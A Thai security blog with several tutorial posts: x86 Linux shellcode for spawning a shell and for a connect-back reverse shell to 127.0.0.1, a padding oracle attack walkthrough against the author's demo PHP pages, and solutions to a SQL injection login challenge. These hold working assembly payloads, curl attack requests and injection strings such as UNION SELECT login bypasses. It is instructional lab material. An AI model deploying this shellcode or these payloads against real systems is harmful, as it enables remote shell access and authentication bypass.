ถ้าใครทำ "Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 2)" จะเห็นว่าผมได้ให้ shellcode อีกอันหนึ่ง ที่ไม่มี badchar 0x0b เพื่อให้ scanf() function สามารถรับ input ได้หมด ถ้าเราลองใช้ objdump ดูจะเห็นว่าคำสั่งที่มีปัญหาคือ "movb $0xb,%al" โดยวิธีที่ผมเลี่ยงการใช้ 0x0b คือใส่ค่า 0x7b เข้าไปก่อน แล้ว xor กับ 0x70 ตามนี้ (แสดงเฉพาะที่แก้นะครับ)

movb $0x7b,%al
xorb $0x70,%al

ก่อนจะจบ shellcode นี้ เรามาทำให้มันเล็กลงกันก่อนดีกว่า ถ้าเราอ่าน man จะได้ว่า argument ตัวที่ 2 ของ execve คือข้อมูลที่จะส่งผ่านไปที่โปรแกรมใหม่ โดยจะเป็น argv แสดงว่าถึงแม้ว่าเราใส่ค่าอื่นไป โปรแกรมใหม่ก็จะยังเป็น /bin/sh เพียงแค่ argv จะเปลี่ยนไป ดังนั้นเราสามารถสั่งเพียง execve("/bin//sh", 0, 0) ก็ได้ การทำงานยังคงเหมือนเดิม (แต่ถ้าใช้ ps ดู จะเห็นชื่อเปลี่ยนไป) และเมื่อเขียน assembly ใหม่ จะได้เป็น (ex_07_6.s)

.data
.text

.globl _start

_start:

# execve("/bin//sh", 0, 0)
xorl %ecx,%ecx   # set ecx เป็น 0
push %ecx        # NULL สำหรับ "/bin//sh"
push $0x68732f2f # //sh
push $0x6e69622f # /bin
movl %esp,%ebx   # set ebx เป็น address ของ "/bin//sh" (top of stack)
leal 0xb(%ecx),%eax # ใช้ lea แทน xorl แล้ว movb จะประหยัดได้ 1 byte
cltd             # set edx เป็น 0
int  $0x80

เมื่อ compile code นี้ เราจะได้ shellcode สำหรับ spawning shell ขนาด 21 bytes

Shellcode สำหรับ Connect Back Shell

มาถึง shellcode ตัวสุดท้ายที่เราจะมาเขียนกัน คือ reverse shell โดยจะเขียนสำหรับ IPv4 เท่านั้น และให้ต่อกลับมาที่ 127.0.0.1:5555

ก่อนจะเริ่มเขียน assembly เรามาดู code ที่เขียนด้วยภาษา C กันก่อน (ex_07_7.c) เพื่อจะได้เข้าใจว่าจะต้องมีการเรียกคำสั่งอะไรบ้าง

/*
gcc -static -o ex_07_7 ex_07_7.c
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char **argv)
{
    int sk;
    struct sockaddr_in sk_addr;

    sk = socket(PF_INET, SOCK_STREAM, 0);
    if (sk == -1)
        return 1;

    memset(&sk_addr, 0, sizeof(sk_addr));
    sk_addr.sin_family = AF_INET;
    sk_addr.sin_port = 0xb315;  // htons(5555)
    sk_addr.sin_addr.s_addr = 0x0100007f; // inet_addr("127.0.0.1")

    if (connect(sk, (struct sockaddr *)&sk_addr, sizeof(struct sockaddr)) == -1)
        return 1;

    dup2(sk, 0);
    dup2(sk, 1);
    dup2(sk, 2);

    execve("/bin/sh", 0, 0);
}

สำหรับคนที่ไม่เคยเขียนพวก socket (น่าจะงง) ผมขออธิบายสั้นๆ ละกัน ในบรรทัดที่ 15 ใช้สำหรับสร้าง socket ขึ้น สำหรับ Linux socket ที่ได้จะเป็น file descriptor อันหนึ่ง เหมือนพวก stdin, stdout แต่สามารถนำไปใช้ใน function ที่เกี่ยวกับ network ได้ ต่อมาบรรทัดที่ 19-22 คือเตรียม parameter สำหรับ connect() function ว่าจะต่อไปที่ IP ไหน port อะไร ให้สังเกตว่า network byte order ของค่าที่เป็นตัวเลขจะเป็น big endian เช่น port 5555 จะมีค่าเป็น 0x15b3 แต่เก็บใน memory ของ x86 เป็น 0xb315 ดังนั้นเราต้องใส่ 0xb315 เพื่อให้เก็บใน memory เป็น 0x15b3 หลังจากนั้นบรรทัดที่ 24 คือเชื่อมต่อไปที่ 127.0.0.1:5555 และเมื่อต่อได้แล้ว บรรทัดที่ 27-29 คือเปลี่ยน stdin, stdout, stderr ใช้เป็น file descriptor ของ socket และสุดท้ายบรรทัดที่ 31 ทำการเปลี่ยน process ด้วย execve เป็น /bin/sh ซึ่ง file descriptor ยังคงเดิม ทำให้เวลา shell รับคำสั่ง จะรับจากที่เราส่งข้อมูลไป และเวลาแสดงผลก็จะเป็นส่งข้อมูลมาหาเรา

หลังจาก compile ถ้าต้องการทดสอบ ต้องเปิดอีก terminal หนึ่ง แล้วพิมพ์คำสั่ง "nc -nvvl 5555" หลังจากนั้นค่อยรันโปรแกรมที่ compile แล้ว เมื่อเชื่อมต่อแล้ว เราสามารถพิมพ์คำสั่งจาก terminal ที่รัน nc ไว้ แต่จะไม่เห็น shell prompt

เมื่อทดสอบเห็นว่าโปรแกรมทำงานได้แล้ว ก็มาดูกันว่าโปรแกรมนี้ใช้ system call อะไรบ้างที่จำเป็นต่อการเชื่อมต่อ

$ strace -v ./ex_07_7
...
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(5555), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0)                              = 0
dup2(3, 1)                              = 1
dup2(3, 2)                              = 2
execve("/bin/sh", [0], [0])             = 0
...

ถ้าเรามาลองไล่ดู system call number จะเจอเพียงแค่ dup2 กับ execve แต่จะหา socket กับ connect ไม่เจอ ซึ่งวิธีที่ทำรู้วิธีเรียก (ถ้าจะทำเอง) คือ อ่าน Linux code หรือไล่ assembly ดูว่า libc เรียกได้อย่างไร แต่เพื่อจะได้ไม่ยาวเกินผมเขียนวิธีเรียก system call ที่เกี่ยวกับ socket เลยละกัน

วิธีการใช้ system call สำหรับ socket นั้นจะใช้ __NR_socketcall หมายเลข 102 (0x66) โดยใส่ไว้ที่ eax และจะมี argument แค่ 2 ตัวเท่านั้น โดย ebx ระบุว่าจะใช้ socket command ไหน ซึ่งสามารถดูได้จากไฟล์ /usr/include/linux/net.h (ผมเอาเฉพาะที่ใช้มาแสดงไว้ข้างล่าง)

// from /usr/include/linux/net.h
#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */

ส่วน ecx คือ array ของ argument โดย argument ที่ใช้นั้น จะเป็นไปตาม argument ของ libc เลย ถ้าเราลอง debug โปรแกรมดูใน socket() function จะพบว่า

$ gdb -q ./ex_07_7
Reading symbols from /home/worawit/tutz/ch07/ex_07_7...(no debugging symbols found)...done.
(gdb) b socket
Breakpoint 1 at 0x8050750
(gdb) r
Starting program: /home/worawit/tutz/ch07/ex_07_7

Breakpoint 1, 0x08050750 in socket ()
(gdb) disass
Dump of assembler code for function socket:
=> 0x08050750 <+0>:     mov    %ebx,%edx  # edx ไม่เกี่ยว แค่เก็บค่า ebx ไว้ใน edx ก่อน
   0x08050752 <+2>:     mov    $0x66,%eax # ใช้ socketcall
   0x08050757 <+7>:     mov    $0x1,%ebx  # กำหนด ebx เป็น 1 คือ SYS_SOCKET
   0x0805075c <+12>:    lea    0x4(%esp),%ecx  # โหลด address ของ arguments ไว้ที่ ecx
   0x08050760 <+16>:    int    $0x80
   0x08050762 <+18>:    mov    %edx,%ebx  # restore ค่า ebx
   0x08050764 <+20>:    cmp    $0xffffff83,%eax
   0x08050767 <+23>:    jae    0x8051aa0 <__syscall_error>
   0x0805076d <+29>:    ret
End of assembler dump.
(gdb) x/4x $esp+4   # ลองดูค่า arguments ต่างๆ
0xbffff6e0:     0x00000002      0x00000001      0x00000000      0x08048a42

และถ้าเราหาค่าที่ถูก define ไว้ใน header files ด้วยคำสั่ง grep

# working directory คือ /usr/include
$ grep -wR PF_INET *
bits/socket.h:#define   PF_INET         2       /* IP protocol family.  */
bits/socket.h:#define   AF_INET         PF_INET
$ grep -wR SOCK_STREAM *
bits/socket.h:  SOCK_STREAM = 1,                /* Sequenced, reliable, connection-based
...
$ grep -wR IPPROTO_IP *
linux/in.h:  IPPROTO_IP = 0,            /* Dummy protocol for TCP              */
...

จะเห็นว่าค่าที่หาได้ ตรงกับ argument ที่เราดูด้วย gdb คือ PF_INET เป็น 2, SOCK_STREAM เป็น 1 และ IPPROTO_IP เป็น 0

และข้อมูลที่สำคัญสำหรับ connect คือโครงสร้างข้อมูลของ struct sockaddr กับ struct sockaddr_in สำหรับ IPv4 โดยผมเอามาจาก http://www.retran.com/beej/sockaddr_inman.html

struct sockaddr {
    unsigned short    sa_family;    // address family, AF_xxx
    char              sa_data[14];  // 14 bytes of protocol address
};

struct sockaddr_in {
    short            sin_family;   // e.g. AF_INET, AF_INET6
    unsigned short   sin_port;     // e.g. htons(3490)
    struct in_addr   sin_addr;     // see struct in_addr, below
    char             sin_zero[8];  // zero this if you want to
};

เมื่อเรารู้วิธีการเรียก กับค่าต่างๆ ที่ต้องใส่ทั้งหมด ก็ถึงเวลาเขียน assembly กันแล้ว แต่คราวนี้ผมจะแสดงแบบที่สั้นที่สุดที่ผมคิดได้เลย และพวก \x00 ตรง IP กับ port ผมจะไม่สนใจนะครับ ซึ่งจะได้ assembly ดังนี้ (ex_07_8.s) (อาจจะเร็วไปนิด ค่อยๆ ไล่ และคิดตามนะครับ)

.data
.text

.globl _start

_start:

##################################
# socket(PF_INET /* 2 */, SOCK_STREAM /* 1 */, IPPROTO_IP /* 0 */)
xorl %ebx,%ebx # set ebx เป็น 0, ใช้ ebx เพราะเราต้องการให้มีค่าเป็น 1 และ argument ที่เราต้องใส่คือ 0,1,2 ตามลำดับ ทำให้เราสามารถใช้ ebx สำหรับ argument ขณะเพิ่มค่า ebx
leal 0x66(%ebx),%eax # set syscall number โดยใช้ lea จาก ebx
push %ebx # เอาค่า 0 ลงใน stack สำหรับ socket argument ตัวสุดท้าย
inc  %ebx # เพิ่มค่า ebx ไป 1 จะได้ค่า ebx เป็นที่เราต้องการ
push %ebx # เอาค่า 0 ลงใน stack สำหรับ socket argument ตัวที่สอง
push $0x2 # ใช้ push imm แทนเพราะ ebx เป็นค่าที่ถูกต้องแล้ว
movl %esp,%ecx # set ecx เป็น array of arguments
int  $0x80

xchg %eax,%ebx  # เก็บค่า socket fd ไว้ที่ ebx สำหรับ dup2 syscalls, ใช้ xchg แทน mov เพื่อประหยัดจำนวน byte
# ตอนนี้ eax มีค่าเป็น 1 ส่วน ebx เก็บ socket fd ไว้

###################################
# dup2() to replace stdin, stdout, stderr
# เอา dup2 มาทำตรงนี้ เพราะถ้าทำ connect ค่า socket fd ต้องไปเก็บที่ register ตัวอื่นก่อน
# ถ้าทำตรงนี้ ค่า ebx ไม่จำเป็นต้อง set เพราะจากคำสั่ง xchg ข้างบน
pop  %ecx  # ตอนนี้ top of stack คือ 2, เอามาใช้สำหรับ stderr
dup_loop:  # loop จาก 2..0 เพื่อประหยัดคำสั่ง
movb $0x3f, %al # กำหนด dup2 system call number
int  $0x80
dec  %ecx  # ลบค่า ecx เพื่อทำ stdout กับ stdin
jns  dup_loop # หยุดทำเมื่อ ecx เป็นลบ
# dup2 syscall จะ return หมายเลข fd ที่ถูก copy ไว้ใน eax
# ดังนั้น ถึงจุดนี้จะได้ค่า
# - eax เป็น 0
# - ebx เป็น socket fd
# - ecx เป็น -1 (0xffffffff)

####################################
# connect(sk, sockaddr, len)

# จากการทดสอบ connect syscall จะสนใจเฉพาะค่า sin_family, sin_port, sin_addr ใน struct sockaddr_in เท่านั้น
# ส่วนค่าใน sin_zero จะเป็นอะไรก็ได้
# และ len argument จะเป็นตัวเลขอะไรก็ได้ที่ >= 16
movb $0x66,%al # set system call number
# เตรียม sockaddr struct
# เพราะ sin_zero เป็นอะไรก็ได้ ทำให้สามารถใช้ค่าที่อยู่ใน stack อยู่แล้วได้
push $0x0100007f # push ค่า ip address (127.0.0.1) สำหรับ sin_addr
push $0xb3150002 # push ค่า port (5555) สำหรับ sin_port และค่า AF_INET (2) สำหรับ sin_family
# สำหรับคนที่ต้องการให้ไม่มี \x00 จากคำสั่ง push ข้างบน วิธีหนึ่ง (แต่ทำได้ไม่ทุกกรณี) คือใช้ xor กับ ecx (ข้างล่าง ถ้าต้องการลองก็เอา comment ออก)
#push %ecx
#xorl $0xfeffff80,(%esp)
#xorl $0x4ceafffd,%ecx
#push %ecx
movl %esp, %ecx # กำหนดค่า ecx เป็น address ของ sockaddr (top of stack)
# เตรียม array of arguments (ecx)
push %eax # ใช้ eax (0x66) สำหรับ len เนื่องจากมากกว่า 16
push %ecx # address ของ sockaddr
push %ebx # socket fd (จริงแล้วจะใช้ค่า 0,1,2 ก็ได้เพราะเราได้สั่ง dup2() ไปแล้ว)
movl %esp,%ecx
#movb $0x03,%ebx # ถ้าเราใช้ movb อาจจะไม่ได้ทุกกรณี เพราะ fd ที่ได้จาก socket() อาจมีค่ามากกว่า 255
push $0x03
pop  %ebx  # ใช้ push แล้ว pop จะใช้ 3 bytes แต่ถ้าใช้ xor แล้ว movb จะใช้ 4 bytes
int  $0x80
# ถ้าต่อสำเร็จ eax จะเห็น 0
# Note: ไม่มีการตรวจสอบผลลัพธ์ของการ connect

###################################
# execve("/bin//sh", 0, 0)
cdq    # to make edx 0
push %edx
push $0x68732f2f
push $0x6e69622f
movl %esp, %ebx
xorl %ecx, %ecx
movb $0x0b, %al
int  $0x80

เมื่อ compile แล้วทดสอบจะได้ผลเหมือนกับที่เขียนด้วยภาษา C (ทดสอบเองนะครับ) สำหรับคนที่อยากฝึกเพิ่มเติม ก็แนะนำให้ลองเขียน setreuid() ดู

วิธี Disassemble Shellcode

ก่อนจะจบ ผมมีแถมให้ เพราะในหลายๆ ครั้งที่อาจจะต้องมีการวิเคราะห์การทำงานของ shellcode ที่ได้มา ดังนั้นเรามาดูคำสั่งการ disassemble shellcode ของ x86 โดยผมจะใช้ exit shellcode จากตัวอย่าง ex_07_3.s

วิธีแรก คือใช้คำสั่ง x86dis โดยคำสั่งนี้สามารถเลือก syntax ได้ ถ้าใครต้องการแบบ intel ก็เปลี่ยนจาก att เป็น intel

$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' | x86dis -e 0 -s att
00000000 31 C0                          xor     %eax, %eax
00000002 31 DB                          xor     %ebx, %ebx
00000004 B0 01                          mov     $0x01, %al
00000006 CD 80                          int     $0x80

วิธีที่สอง ใช้คำสั่ง objdump เนื่องด้วย objdump รับ input จาก stdin ไม่ได้ ดังนั้นจะต้องมีการเขียนลงไฟล์ก่อน

$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' > sc.bin.tmp && objdump -b binary -m i386 -D ./sc.bin.tmp && rm -f sc.bin.tmp
./sc.bin.tmp:     file format binary

Disassembly of section .data:

00000000 <.data>:
   0:   31 c0                   xor    %eax,%eax
   2:   31 db                   xor    %ebx,%ebx
   4:   b0 01                   mov    $0x1,%al
   6:   cd 80                   int    $0x80

วิธีที่สาม (สุดท้ายของผม) คือใช้คำสั่ง ndisasm

$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' > sc.bin.tmp && ndisasm -b 32 ./sc.bin.tmp && rm -f sc.bin.tmp
00000000  31C0              xor eax,eax
00000002  31DB              xor ebx,ebx
00000004  B001              mov al,0x1
00000006  CD80              int 0x80

Reference:
- The Shellcoder's Handbook: Discovering and Exploiting Security Holes

Monday, January 24, 2011

Padding Oracle Attacks

วันนี้ผมขอเขียนเรื่อง Padding Oracle Attacks ก่อน (จริงๆ แล้วตั้งใจจะเขียนตั้งแต่เพิ่งเปิด blog) เรื่องนี้ไม่ได้เป็นเรื่องใหม่ แต่ผมเห็นว่าเป็นเรื่องที่น่าสนใจมาก เพราะเป็น cryptography attack ที่ใช้ความรู้เกี่ยวกับ cryptography ไม่เยอะ แต่มีผลกระทบกับ application framework หลายตัว เช่น JavaServer Faces (JSF), Ruby on rails, ASP.NET o.O

เทคนิคนี้ จริงๆแล้วได้มีการพูดถึงในงาน Eurocrypt 2002 โดย Serge Vaudenay โดยพูดถึงช่องโหว่เกี่ยวกับ CBC padding ของ encryption protocol ต่างๆ เช่น SSL, IPSEC, WTLS, SSH2 และเมื่อปี 2010 ที่ผ่านมา security researcher 2 คน คือ Joliano Rizzo กับ Thai Duong ได้นำเทคนิคนี้มาใช้อีกรอบ แต่เป็นการโจมตี web application โดยพูดในงาน Blackhat Europe 2010

เรามาเริ่มเนื้อหากันเลยดีกว่า เทคนิคนี้เป็นการโจมตีเมื่อใช้ encryption algorithm ที่ทำงานเป็น block ใน CBC mode ถ้าใครไม่รู้จัก CBC mode แนะนำให้หาอ่านก่อนนะครับ หรือไม่ก็ดูในบทความแรกที่ผมเขียน (CBC Bit Flipping) เผื่อจะทำให้เข้าใจ

เนื่องด้วย encryption algorithm เช่น DES, AES นั้นทำงานเป็น block ดังนั้นถ้าข้อมูลไม่ครบ block ก็จำเป็นต้อง pad ข้อมูลเข้าไปเพื่อที่จะเต็ม block แล้วทำการ encryption ได้ โดย padding scheme ที่นิยมใช้กัน จะเป็นแบบเดียวกับที่กล่าวใน PKCS#5, PKCS#7 หรือ RFC2630 (CMS) วิธีการ padding ก็คือเติมตัวเลขเท่าจำนวนที่ต้อง pad โดยต้อง pad อย่างน้อย 1 byte ตามตัวอย่างในรูป โดยสมมติว่าขนาดของ block คือ 8 bytes

เพื่อที่จะให้เข้าใจง่ายขึ้น ผมจึงได้เขียน php code ที่ใช้ run บน web server สำหรับสาธิตการทำงานของ attack นี้โดยจะมี code อยู่ 3 ไฟล์ (po_gen.php, po_check.php, po_inc.php) ไฟล์แรก po_gen.php ใช้สำหรับ encrypt ข้อมูลโดยใช้แทนการ login ที่เราใส่ username แล้วมีการส่ง token สำหรับการ request อื่นๆ และไฟล์ที่สอง po_check.php ซึ่งรับ token แล้วบอกว่าข้อความในนั้นคืออะไร ใช้แทนการตรวจสอบ token และไฟล์สุดท้าย po_inc.php เป็นไฟล์ที่ใช้ config ค่าต่างๆ สำหรับ encryption โดยผมได้กำหนดค่า IV เป็น fixed value เพื่อให้ค่าที่ผมแสดงตรงกับของทุกๆคน ซึ่งจริงๆแล้วควรเป็น random value (แก้ให้ random โดยเปลี่ยนค่า RANDOM_IV เป็น TRUE) และผมจะใช้ 3-DES ในการทำ encryption เพราะมี block size เป็น 8 bytes เขียนอธิบายได้ง่ายกว่า AES ที่มี block size เป็น 16 bytes (ถ้าใครอยากลองเป็น AES ก็แก้ค่า USE_3DES เป็น FALSE นะครับ)

สมมติว่าผมจะส่ง "user5" ไปที่ po_gen.php แล้วจะได้ encrypted data

$ curl "http://127.0.0.1/thtutz/po_gen.php?user=user5"
5f4649584544495621a7b2b00f85b47d

และถ้าผมส่ง encrypted data นี้ไปที่ po_check.php จะได้

$ curl "http://127.0.0.1/thtutz/po_check.php?user=5f4649584544495621a7b2b00f85b47d"
Data OK : user5

โดยมีค่าต่างๆในการทำ decryption ตามรูป

แต่ถ้าเราเปลี่ยน encrypted data โดยสมมติว่าเปลี่ยนค่าหลังสุดของ IV เป็น 00 จะได้

$ curl "http://127.0.0.1/thtutz/po_check.php?user=5f4649584544490021a7b2b00f85b47d"
Error: Invalid padding

โดยมีค่าต่างๆในการทำ decryption ตามรูป

จากรูปจะเห็นว่า byte สุดท้ายเป็น 0x55 ซึ่งทำให้เจอ error ขณะทำการตรวจสอบ padding

concept ของ padding oracle attack นี้คือส่ง encrypted data ไปที่ server เพื่อให้ server บอกว่า padding ของ encrypted data นี้ถูกต้องหรือไม่ โดยใช้ error message หรือ response ต่างๆ ที่สามารถแยกได้ว่า encrypted data นี้เมื่อ server decrypt แล้ว padding ถูกหรือไม่

จากรูปการ decryption จะเห็นว่าเรารู้ค่าของ Encrypted data และ IV เท่านั้น ส่วน Intermediary Value นั้น ปกติต้องมี Encryption Key เท่านั้นจึงจะหา Intermediary Value ออกมาได้ และส่วนที่สำคัญที่สุดของเทคนิคนี้ คือสามารถหา Intermediary Value ได้โดยไม่ต้องรู้ว่า Encryption Key คืออะไร

Padding Oracle Attack เพื่อ decrypt ข้อมูล

โดยปกติ เวลาเราได้ encrypted data มาจาก server เราไม่รู้ว่าข้างในนั้นเก็บข้อมูลในรูปแบบไหน ในส่วนนี้ผมจะอธิบายวิธีการ decrypt ข้อมูลโดยสมมติว่าเราไม่รู้ข้อมูลที่เป็น plaintext และมีการส่ง request ไปที่ po_check.php เท่านั้น

วิธีก็คือ (อยากให้คิดตาม เพราะถ้าเข้าใจ จะคิดเองได้เลย)
1. เปลี่ยนค่า IV เป็น 0x00 ให้หมด (จริงๆ คือเปลี่ยนเป็นอะไรก็ได้)
2. เริ่มจาก byte หลังสุดของ block และให้จำนวนที่ต้อง pad คือ 1 byte ดังนั้น plaintext ของ byte สุดท้ายต้องเป็น 0x01
3. เปลี่ยนค่า IV ไปเรื่อยๆ จนกว่า server ไม่บอกว่า "Error: Invalid padding"
4. เมื่อได้ค่า IV และ plaintext ของ byte ที่ทำงานอยู่ ทำให้สามารถหา Intermediary Value ของ byte นั้นได้โดยการทำ xor
5. หา plaintext ของ byte ที่ทำงานอยู่ จะได้ plaintext จากการนำ Intermediary Value มา xor กับค่า IV เดิม
6. เปลี่ยนเป็น byte ถัดไปจากข้างหลัง และเปลี่ยนจำนวนที่ต้อง pad เป็นค่าถัดไป จนกว่าจะครบ block
7. เปลี่ยน IV ของ byte หลังที่จะหา เป็น pad value ที่ถูกต้อง โดยนำ pad value ที่ต้องให้เป็นไป xor กับ Intermediary Value ที่หาได้ และไปทำที่ข้อ 3

อ่านวิธีอาจจะงง มาดูตัวอย่างกันดีกว่า เริ่มต้นที่เปลี่ยนค่า IV เป็น 0 ซึ่งจะได้ค่าต่างๆ ในการทำ decryption ตามรูป

จากนั้นเราก็ส่ง request ไปที่ po_check.php โดยเปลี่ยนค่า IV ไปเรื่อยๆ ดังนี้

$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000000021a7b2b00f85b47d"
Error: Invalid padding
$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000000121a7b2b00f85b47d"
Error: Invalid padding
$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000000221a7b2b00f85b47d"
Error: Invalid padding
...
$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000005421a7b2b00f85b47d"
Data OK : *5,*pGJ

ได้ค่า IV ของ byte สุดท้ายที่ทำให้ plaintext ออกมาเป็น 0x01 คือ 0x54 ทำให้ได้ Intermediary Value เป็น 0x01 ^ 0x54 = 0x55 ตามรูปข้างล่าง ซึ่ง plaintext ของ byte นี้ก็คือ 0x55 ^ 0x56 = 0x03

หลังจากนั้น ก็ทำ byte ถัดไป โดย padding value ต้องเป็น 0x02 จำนวน 2 bytes โดย IV ที่จะทำให้ค่า byte สุดท้ายของ block เป็น 0x02 คือ 0x02 ^ 0x55 = 0x57 และทำการส่ง request โดยเปลี่ยนค่า IV ตามนี้

$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000005721a7b2b00f85b47d"
Error: Invalid padding
$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000015721a7b2b00f85b47d"
Error: Invalid padding
...
$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000485721a7b2b00f85b47d"
Data OK : *5,*pG

ได้ค่า IV ที่ทำให้ plaintext ออกมาเป็น 0x02 คือ 0x48 ทำให้ได้ Intermediary Value เป็น 0x02 ^ 0x48 = 0x4a ตามรูปข้างล่าง ซึ่ง plaintext ของ byte นี้ก็คือ 0x4a ^ 0x49 = 0x03

และทำแบบนี้ไปเรื่อยๆ จนครบทั้ง block จะได้ plaintext ออกมา ซึ่งผมได้เขียน code เป็น python (po_decrypt.php) สำหรับการ decrypt นี้ ซึ่งเมื่อ run จะได้ตามนี้ (ซึ่งอาจต้อง ip กับ url ใน code ก่อน run นะครับ)

$ python po_decrypt.py 8 5f4649584544495621a7b2b00f85b47d
text[7]:  
text[6]:  
text[5]:  
text[4]: 5
text[3]: r
text[2]: e
text[1]: s
text[0]: u
finished
Data: user5   

ที่ผมกล่าวไปนั้นเป็นการ decrypt ข้อมูลเพียงแค่ block เดียว สำหรับการ decrypt ข้อมูลหลายๆ block เรามาดูค่าต่างๆ ของการ decrypt ข้อมูลจำนวน 2 block กันก่อนดีกว่า

จากรูปจะเห็นว่า IV ของ block ถัดไปก็คือ encrypted data ของ block ก่อนหน้า ดังนั้นวิธีการ decrypt ในแต่ละ block จะเหมือนกัน เพียงแค่เปลี่ยนค่า IV กับ encrypted data ของ block นั้นๆ และถ้าข้อมูลมีจำนวน block เยอะๆ เราก็สามารถที่จะทำ หลายๆ block พร้อมกันได้

Padding Oracle Attack เพื่อ encrypt ข้อมูล

จากหัวข้อการ decryption จะเห็นว่าเราสามารถเทคนิคนี้หา Intermediary Value จาก encrypted data ใดๆ ได้ ดังนั้นวิธีการ encrypt ข้อมูลจำนวน 1 block ก็คือสุ่ม encrypted data แล้วหา Intermediary Value (โดยปกติเราจะต้องทำขั้นตอนของการ decryption ก่อน ดังนั้นเราสามารถหยิบ encrypted data กับ Intermediary Value จาก block ไหนก็ได้มา) หลังจากนั้นนำมา xor กับ plaintext เพื่อหาค่า IV (แค่นี้แหละครับครับ ง่ายมั้ย xD)

สำหรับกรณีที่มีหลายๆ block เราจะต้องทำการหาจาก block สุดท้ายก่อน แล้วนำ IV ที่ได้มาเป็น encrypted data ใน block ก่อนหน้า มาดูตัวอย่างกันดีกว่า สมมติว่าผมต้องการ encrypt คำว่า administrator โดยกำหนดให้ encrypted data ใน block สุดท้ายเป็น 0x01 0x02 ... 0x08 เริ่มต้นเราจะตั้งตารางเป็นดังนี้

จะเห็นว่า เราจะต้องจัดเรียงข้อมูลของเราให้ตรง block พร้อมทั้งมี padding ด้วย และทำการหา Intermediary Value กับ IV ของ Block ที่ 2 ซึ่งได้ผมตามรูป

เมื่อได้ค่า IV ใน block ที่ 2 ก็นำมาเป็น encrypted data ใน block ที่ 1 โดยผมได้เขียนโปรแกรมไว้แล้ว (po_encrypt.py) ซึ่งเมื่อ run จะได้ตามนี้

$ python po_encrypt.py 8 administrator
...
Encrypted Data (Hex): 8fde9c453db873f81498a22ea1caa3460102030405060708

จบแล้วนะครับ สำหรับ concept หลักของ Padding Oracle Attacks ทีเหลือคือการประยุกต์ใช้กับ application จริง ซึ่งไม่ง่ายเหมือนในตัวอย่างผมหรอกนะครับ แต่ถ้าเข้าใจตรงนี้แล้ว ผมว่าไม่ยากมากที่จะทำความเข้าใจกับ tool สำหรับเทคนิคนี้


Reference:
- http://netifera.com/research/poet/PaddingOracleBHEU10.pdf
- http://www.gdssecurity.com/l/b/2010/09/14/automated-padding-oracle-attacks-with-padbuster/

Tuesday, January 18, 2011

PHP Login กับ SQL Injection (เฉลย)

จากโจทย์ที่ผมตั้งไว้ ถึงเวลาเฉลยแล้ว ถ้าใครเพิ่งมาอ่าน หรือยังไม่ได้ทำ ผมอยากให้ลองทำก่อนดูเฉลยนะครับ

ก่อนจะเฉลย ผมขอพูดถึงการทำ sql injection นิดนึง การทำ sql injection นั้นก็คือการเหมือนกับว่า programmer ได้เขียนคำสั่ง SQL เริ่มต้นให้ (และอาจจะมีต่อท้ายให้ด้วย) สิ่งที่เราต้องทำคือเติมคำสั่ง SQL ให้มันถูกต้อง แต่เปลี่ยนความหมายของคำสั่ง เพื่อดึงเอาข้อมูลส่วนที่เราต้องการออกมา ดังนั้นสิ่งสำคัญในการทำ sql injection คือการเรียนรู้คำสั่ง SQL และ DBMS ต่างๆ เวลาอ่านเฉลยข้อไหนแล้วงงๆ ก็ให้ลองเปิดตัว MySQL client แล้วลองพิมพ์คำสั่ง SQL ที่จะถูกประมวลผลดู

ข้อ 1 อันนี้ถ้าใครลองทำตามตำราแบบง่ายสุดคือใส่ ' or '1'='1 ที่ username คงจะเจอกับ error ว่า "The number of rows is not 1" เนื่องจากผมมีการ check ว่าจำนวน row ที่ได้นั้นเท่ากับ 1 หรือไม่ ดังนั้นวิธีง่ายสุดของข้อนี้ ก็คือใช้ LIMIT ตามนี้ (ผมขอใช้ curl เพื่อประหยัดพื้นที่)

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli1.php?password=whatever&username='+or+1=1+LIMIT+1%23"
Congrats, WIN!!!

ข้อ 2 ข้อนี้จะเห็นว่าใน query มีใช้แค่ username แต่ผม และมีการเอา password มาเปรียบเทียบต่างหาก ซึ่งต่างจากข้อ1 ที่เวลาทำ sql injection ในข้อ1 นั้น สามารถทำให้การ check password นั้นเหมือนไม่มีได้

ปัญหาของข้อนี้ คือเราไม่รู้ว่า password ของ record ที่ query ออกมาจาก database นั้น password อะไร วิธีแก้ก็คือใช้ UNION SELECT เพื่อให้ได้ record ปลอมที่เราสร้างมาเอง เช่นใช้ "UNION SELECT 1,2,3" (ไม่มี quote) จะทำให้การ query ได้ record ที่มี id มีค่าเป็น 1, username มีค่าเป็น 2 และ password มีค่าเป็น 3

แต่เนื่องด้วยใน database นั้นการเก็บ md5 hash ของ password ดังนั้นสิ่งที่เราทำคือต้องการ md5 ของ password ที่เราจะปลอมด้วย ดังนั้นข้อนี้สามารถทำได้ตามนี้

D:\thtutz\challenge>php -r "echo md5('');"
d41d8cd98f00b204e9800998ecf8427e
D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli2.php?password=&username='+UNION+SELECT+1,2,'d41d8cd98f00b204e9800998ecf8427e'%23"
Congrats, WIN!!!

